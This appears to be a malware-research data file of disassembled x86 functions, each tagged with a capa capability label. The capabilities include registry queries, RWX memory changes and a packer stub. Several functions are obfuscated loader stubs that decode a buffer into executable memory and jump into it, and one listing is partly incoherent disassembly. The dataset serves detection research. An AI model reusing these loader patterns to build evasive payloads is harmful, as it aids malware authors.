joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401041
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x401f30
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.0040135b
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00401310
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.0040134b
sti
out dx, eax
cmp eax, dword [eax - 0x5135b]
inc dword [eax]
and byte [ebp - 0x513], 0
Function at 0x40b800
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x51604c
call sym._EnterCriticalSection_4
mov ebx, dword [0x516044]
sub esp, 4
test ebx, ebx
je 0x40b84b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x40b844
test esi, esi
je 0x40b844
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40b820
mov dword [esp], 0x51604c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40ba30
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40ba80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40bb58
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40babe
cmp eax, 4
jne 0x40bae0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40bace
cmp edx, 4
je 0x40bace
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040ba30

Function at 0x40c0d0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call sym._GetLastError_0
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sym._SetLastError_4
sub esp, 4
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40c100
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
je 0x40c124
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp sym._GetLastError_0
Function at 0x42cb40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1b
mov ebp, esp
push edi
push esi
push ebx
lea edi, [ebp - 0x84]
mov esi, str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_http:__gcc.gnu.org_bugs.html_:_n
sub esp, 0x9c
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
lea eax, [edx + 1]
mov dword [ebp - 0x8c], eax
lea eax, [edx + 0x8a]
and eax, 0xfffffff0
call fcn.0040bd40
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x84]
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
movzx eax, word [esi]
mov word [edi], ax
movzx eax, byte [esi + 2]
mov byte [edi + 2], al
lea eax, [ebx + 0x6b]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x8c]
mov byte [ebx + eax + 0x6a], 0
mov dword [esp], ebx
call method.std.__throw_logic_error_char_const_
nop
nop
nop
nop
nop
nop
nop

Function at 0x42cbd0
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x4beabc], 0
jne 0x42cca4
mov byte [0x4beabc], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x42cd3e
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x1c], 0xffffffff
sete al
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call sym.___cxa_demangle
mov esi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov ebp, eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
lea edi, [esi + 0x40]
mov dword [esp + 0xc], edi
call sym._fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp + 4], edi
je 0x42cc9a
mov dword [esp], ebx
call sym._fputs
lea eax, [esi + 0x40]
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x4c1049
mov dword [esp + 0xc], eax
call sym._fwrite
cmp dword [esp + 0x1c], 0
je 0x42ccd1
call sym.___cxa_rethrow
mov dword [esp], ebp
call sym._fputs
jmp 0x42cc6b
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
call sym._abort
mov dword [esp], ebp
call sym._free
jmp 0x42cc95
call sym._abort
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
jmp 0x42cd39
Function at 0x10003a3d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10003a4c
pop dword [ebp - 0x10]
mov eax, 0x10003a4c
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3e096
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x3e7b38a6
add ecx, 0xc18505f4
xor edi, edi
add edi, eax
mov edx, 0x10038c00
add edx, dword [ebp - 0x10]
mov esi, 0x32e4770a
sub esi, 0xbaa396ce
sub dword [ebp - 4], ecx
mov ebx, dword [edx]
add dword [ebp - 0xc], 0x38740df3
sub ebx, esi
xor dword [ebp - 8], ebx
mov dword [edi], ebx
add dword [ebp - 8], ebx
add edi, 0x69542dde
add edi, 0x96abd226
add edx, 0x4c80ee73
add edx, 0xb37f1191
loop 0x10003a9d
add eax, 0xd173ae8a
add eax, 0x2e8d3eb1
mov ebx, eax
add eax, 0xea2dd423
add eax, 0x15d22be2
mov ecx, 0x9b2bb1c0
sub ecx, 0x8b2bb1c0
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x1000dc2c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push esi
push edi
mov esi, eax
xor edi, edi
cmp dword [esi], edi
jne 0x1000dd04
push ebx
push edi
push edi
push 0x1000dd0c
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov dword [esi], eax
test eax, eax
je 0x1000dce2
lea eax, [esi + 4]
push eax
push 0x1000dd24
push edi
call dword [sym.imp.kernel32.dll_GetModuleHandleExW]
test eax, eax
je 0x1000dce2
mov ebx, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x1000dd40
push dword [esi]
call ebx
mov dword [esi + 8], eax
test eax, eax
je 0x1000dce2
push 0x1000dd54
push dword [esi]
call ebx
mov dword [esi + 0xc], eax
test eax, eax
je 0x1000dce2
push 0x1000dd68
push dword [esi]
call ebx
mov dword [esi + 0x10], eax
test eax, eax
je 0x1000dce2
push 0x1000dd7c
push dword [esi + 4]
call ebx
mov dword [esi + 0x14], eax
test eax, eax
je 0x1000dce2
push 0x1000dd8c
push dword [esi + 4]
call ebx
mov dword [esi + 0x18], eax
test eax, eax
je 0x1000dce2
push 0x1000dda4
push dword [esi + 4]
call ebx
mov dword [esi + 0x1c], eax
test eax, eax
je 0x1000dce2
push 0x1000ddbc
push dword [esi + 4]
call ebx
mov dword [esi + 0x20], eax
test eax, eax
jne 0x1000dd03
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x1000dcfc
and edi, 0xffff
or edi, 0x80070000
test edi, edi
jns 0x1000dd03
call fcn.1000ddd9
pop ebx
mov eax, edi
pop edi
pop esi
ret
Function at 0x1001a6fd
Capabilities:
Query environment variable

Disassembly:
push 0xc
mov eax, 0x1002f459
call fcn.100036bc
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x1001a7ec
cmp dword [ebp + 0xc], 0
je 0x1001a7ec
xor esi, esi
push esi
push esi
push ebx
call sub.kernel32.dll_ExpandEnvironmentStringsW
xor ecx, ecx
push 2
pop edx
mov dword [ebp - 0x14], eax
mul edx
seto cl
mov dword [ebp - 4], esi
neg ecx
or ecx, eax
push ecx
call fcn.10003a3d
pop ecx
mov edi, eax
jmp 0x1001a754
test edi, edi
jne 0x1001a786
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1001a77f
test byte [eax + 0x1c], 1
je 0x1001a77f
push dword [ebp - 0x14]
push reloc.advapi32.dll_UnregisterTraceGuids
push 0xb
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
mov esi, 0x8007000e
jmp 0x1001a7e8
push dword [ebp - 0x14]
push edi
push ebx
call sub.kernel32.dll_ExpandEnvironmentStringsW
test eax, eax
jne 0x1001a7d2
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1001a7c3
test byte [eax + 0x1c], 1
je 0x1001a7c3
call sub.kernel32.dll_GetLastError
push eax
mov eax, dword [0x100320c8]
push reloc.advapi32.dll_UnregisterTraceGuids
push 0xc
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
call sub.kernel32.dll_GetLastError
push eax
call fcn.10003a3d
mov esi, eax
jmp 0x1001a7dd
mov ecx, dword [ebp + 0xc]
push edi
call fcn.10003a3d
mov edi, esi
test edi, edi
je 0x1001a7e8
push edi
call fcn.10003a3d
pop ecx
mov eax, esi
jmp 0x1001a815
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1001a810
test byte [eax + 0x1c], 1
je 0x1001a810
push reloc.advapi32.dll_UnregisterTraceGuids
push 0xa
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
mov eax, 0x80070057
call fcn.10005952
ret 8
Function at 0x10023e87
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x28]
push ebx
xor edi, edi
call sub.kernel32.dll_EnterCriticalSection
cmp dword [esi + 4], edi
jne 0x10023ec9
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x10023ec2
test byte [eax + 0x1c], 1
je 0x10023ec2
push 0x1000c0b0
push reloc.advapi32.dll_GetTraceEnableFlags
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
mov edi, 0x8000ffff
jmp 0x10023f46
cmp dword [esi + 8], edi
jne 0x10023f46
cmp dword [esi + 0x14], edi
jbe 0x10023f46
push dword [esi + 0x40]
call sub.kernel32.dll_ResetEvent
push dword [esi + 0x44]
call sub.kernel32.dll_ResetEvent
cmp dword [esi + 0x48], edi
je 0x10023ef0
push dword [esi + 0x48]
call sub.kernel32.dll_CloseHandle
lea eax, [esi + 0x4c]
push eax
push edi
push esi
push 0x100281e1
push edi
push edi
call sub.kernel32.dll_CreateThread
mov dword [esi + 0x48], eax
test eax, eax
jne 0x10023f3f
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x10023f38
test byte [eax + 0x1c], 1
je 0x10023f38
call sub.kernel32.dll_GetLastError
push eax
mov eax, dword [0x100320c8]
push 0x1000c0b0
push reloc.advapi32.dll_GetTraceEnableLevel
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
mov edi, 0x80004005
jmp 0x10023f46
mov dword [esi + 8], 1
push ebx
call sub.kernel32.dll_LeaveCriticalSection
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x10029fb4
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x21c
mov eax, 0x1002ff54
call fcn.1002b85a
mov eax, dword [ebp + 8]
mov dword [ebp - reloc.advapi32.dll_TraceMessage], eax
xor eax, eax
xor edi, edi
push 0x206
mov word [ebp - 0x218], ax
lea eax, reloc.advapi32.dll_TraceMessage
push edi
push eax
mov esi, edi
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, reloc.advapi32.dll_TraceMessage
push eax
push 0x108
push edi
push 0x10006bd0
push 0x80000002
mov dword [ebp - reloc.advapi32.dll_TraceMessage], edi
mov dword [ebp - reloc.advapi32.dll_TraceMessage], edi
call dword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
je 0x1002a034
mov esi, eax
jle 0x1002a1ad
and esi, 0xffff
or esi, 0x80070000
jmp 0x1002a1ad
mov ebx, edi
push edi
push edi
push edi
push edi
lea eax, reloc.advapi32.dll_TraceMessage
push eax
lea eax, reloc.advapi32.dll_TraceMessage
push eax
push ebx
push dword [ebp - 0x21c]
mov dword [ebp - reloc.advapi32.dll_TraceMessage], 0x104
call dword [sym.imp.advapi32.dll_RegEnumKeyExW]
cmp eax, 0x103
je 0x1002a1ad
test eax, eax
jne 0x1002a177
lea eax, reloc.advapi32.dll_TraceMessage
push eax
call fcn.10003a3d
push 0xc
call fcn.10003a3d
pop ecx
mov dword [ebp - reloc.advapi32.dll_TraceMessage], eax
mov dword [ebp - 4], edi
test eax, eax
je 0x1002a09c
mov ecx, eax
call fcn.10004f6b
mov edi, eax
or dword [ebp - 4], reloc.advapi32.dll_TraceMessage
mov dword [ebp - reloc.advapi32.dll_TraceMessage], edi
test edi, edi
je 0x1002a139
lea eax, reloc.advapi32.dll_TraceMessage
push eax
mov ecx, edi
call fcn.1000503e
mov esi, eax
test esi, esi
js 0x1002a10b
mov ecx, dword [ebp - reloc.advapi32.dll_TraceMessage]
lea eax, reloc.advapi32.dll_TraceMessage
push eax
call fcn.1000f2a1
mov esi, eax
test esi, esi
js 0x1002a0ef
inc ebx
push 0
pop edi
cmp ebx, 0x1f4
jae 0x1002a1ad
jmp 0x1002a036
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1002a163
test byte [eax + 0x1c], 1
je 0x1002a163
push esi
push 0x1000c1d4
push 0x15
jmp 0x1002a158
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1002a163
test byte [eax + 0x1c], 1
je 0x1002a163
push esi
lea ecx, reloc.advapi32.dll_TraceMessage
push ecx
push 0x1000c1d4
push 0x14
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
jmp 0x1002a163
mov esi, 0x8007000e
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1002a163
test byte [eax + 0x1c], 1
je 0x1002a163
push esi
push 0x1000c1d4
push 0x13
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
test edi, edi
je 0x1002a1ad
mov ecx, edi
call fcn.10004fde
push edi
call fcn.10003a3d
pop ecx
jmp 0x1002a1ad
mov esi, eax
jle 0x1002a187
and esi, 0xffff
or esi, 0x80070000
mov eax, dword [0x100320c8]
cmp eax, 0x100320c8
je 0x1002a1ad
test byte [eax + 0x1c], 1
je 0x1002a1ad
push esi
push ebx
push 0x1000c1d4
push 0x12
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.10003a3d
cmp dword [ebp - reloc.advapi32.dll_TraceMessage], 0
je 0x1002a1c2
push dword [ebp - 0x21c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, esi
call fcn.1002b897
ret 4
Function at 0x2e00b6aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x2e00b6b9
pop dword [ebp - 0xc]
mov eax, 0x1da74c86
add eax, 0x10596a33
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xfb789025
sub dword [ebp - 0x1c], 0xad264ada
mov dword [ebp - 0x18], 0x9d8cf1fe
add dword [ebp - 0x18], 0x94a65a47
mov dword [ebp - 0x14], 0xdb8f9ce1
add dword [ebp - 0x14], 0x70bca74d
mov dword [ebp - 0x10], 0xa61f4e9a
sub dword [ebp - 0x10], 0xa61f4e9a
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xf8fad8f8
add eax, 0x350847d0
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xb8ea9257
add dword [ebp - 0x1c], 0xbb87d6ff
mov dword [ebp - 0x18], 0x7e3f18eb
sub dword [ebp - 0x18], 0x3cd2b776
mov dword [ebp - 0x14], 0xfffeb1e6
sub dword [ebp - 0x14], 0x9c8f457a
mov dword [ebp - 0x10], 0x7ca12f50
sub dword [ebp - 0x10], 0x7ca12f50
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xf0f798ec
add eax, 0x3d0b87d0
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x41d97
push 0
call eax
mov ecx, 0x2bbeaf95
add ecx, 0xd4419c05
xor edx, edx
add edx, eax
mov edi, 0xf60caeda
add edi, 0x37f8bf26
add edi, dword [ebp - 0xc]
mov esi, 0x8a63818e
sub esi, 0xa3ccc18d
add dword [ebp - 8], esi
mov ebx, dword [edi]
mov dword [ebp - 4], 0x84130d74
add ebx, esi
sub dword [ebp - 8], esi
mov dword [edx], ebx
xor dword [ebp - 4], 0x101e3185
add edx, 0x1c924a5f
add edx, 0xe36db5a5
add edi, 4
loop 0x2e00b7dd
add eax, 0x4771eb3a
add eax, 0xb88f3601
xor ebx, ebx
add ebx, eax
add eax, 0x3ad90efa
sub eax, 0x3ad90ef5
mov ecx, 0x2e000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x2e013ece
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e03021f
call fcn.2e00153c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014c10
test ax, ax
je 0x2e013f76
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e013f76
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f6d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e00b6aa
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f60
push esi
mov ecx, edi
call fcn.2e010c49
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e00b6aa
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e001586
ret
Function at 0x2e0149fe
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x28
mov eax, 0x2e030292
call fcn.2e02e16c
mov esi, dword [ebp + 8]
xor eax, eax
mov bl, al
mov edi, dword [ebp + 0xc]
cmp dword [ecx + 0x10], eax
jbe 0x2e014b02
push ecx
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.2e0148ed
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
push esi
call fcn.2e010b76
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x30]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014ac0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014ab7
mov eax, dword [ebp - 0x2c]
inc eax
push eax
call fcn.2e00b6aa
mov esi, eax
pop ecx
mov dword [ebp - 0x34], esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
push esi
push 0
push 0
push 0x2e032941
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014aa9
push esi
mov ecx, edi
call fcn.2e010c49
mov bl, 1
push 1
push esi
mov byte [ebp - 4], 0
call fcn.2e00b6aa
pop ecx
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x2e014b02
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 2
cmp eax, 0x1000
jb 0x2e014af9
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.2e00b6aa
mov eax, dword [ebp - 0x2c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push eax
push ecx
call fcn.2e00b6aa
pop ecx
pop ecx
mov al, bl
call fcn.2e02e14a
ret 8

Function at 0x2e014b3c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xc
mov eax, 0x2e0302bf
call fcn.2e00153c
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x2e014b76
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e014bdc
lea eax, [ebp - 0x14]
mov edi, 0x2e032941
push eax
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x2e014bd3
mov eax, dword [ebp - 0x14]
test eax, eax
js 0x2e014bd3
inc eax
push eax
call fcn.2e00b6aa
mov esi, eax
pop ecx
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
push esi
push ebx
push ebx
push edi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e014bc5
mov ecx, dword [ebp + 0xc]
push esi
call fcn.2e010c49
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.2e00b6aa
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.2e001586
ret 8
Function at 0x562000
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x340000
lea edi, [esi - 0x8f000]
push edi
or ebp, 0xffffffff
jmp 0x562022
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x562029
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x562018
mov eax, 1
add ebx, ebx
jne 0x56203b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x56204c
jne 0x56206b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56206b
dec eax
add ebx, ebx
jne 0x562058
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x562030
add ebx, ebx
jne 0x562067
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5620bd
xor ecx, ecx
sub eax, 3
jb 0x562083
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5620f2
sar eax, 1
mov ebp, eax
jmp 0x56208e
add ebx, ebx
jne 0x56208e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56205c
inc ecx
add ebx, ebx
jne 0x56209c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x56205c
add ebx, ebx
jne 0x5620a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x56209e
jne 0x5620ba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x56209e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5620dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5620ce
jmp 0x56201e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5620dc
add edi, ecx
jmp 0x56201e
pop esi
mov edi, esi
mov ecx, 0x3ee5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5620fa
cmp byte [edi], 0x11
jne 0x5620fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5620ff
lea edi, [esi + 0x159000]
mov eax, dword [edi]
or eax, eax
je 0x562177
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17afa0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17b11c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x56212c
mov ecx, edi
jns 0x56215b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x17b120]
or eax, eax
je 0x562171
mov dword [ebx], eax
add ebx, 4
jmp 0x562149
call dword [esi + 0x17b128]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5621a8
cmp al, 0xef
ja 0x56219b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x56217d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x56218a
mov ebp, dword [esi + 0x17b124]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5621dc
sub esp, 0xffffff80
jmp 0x427f4a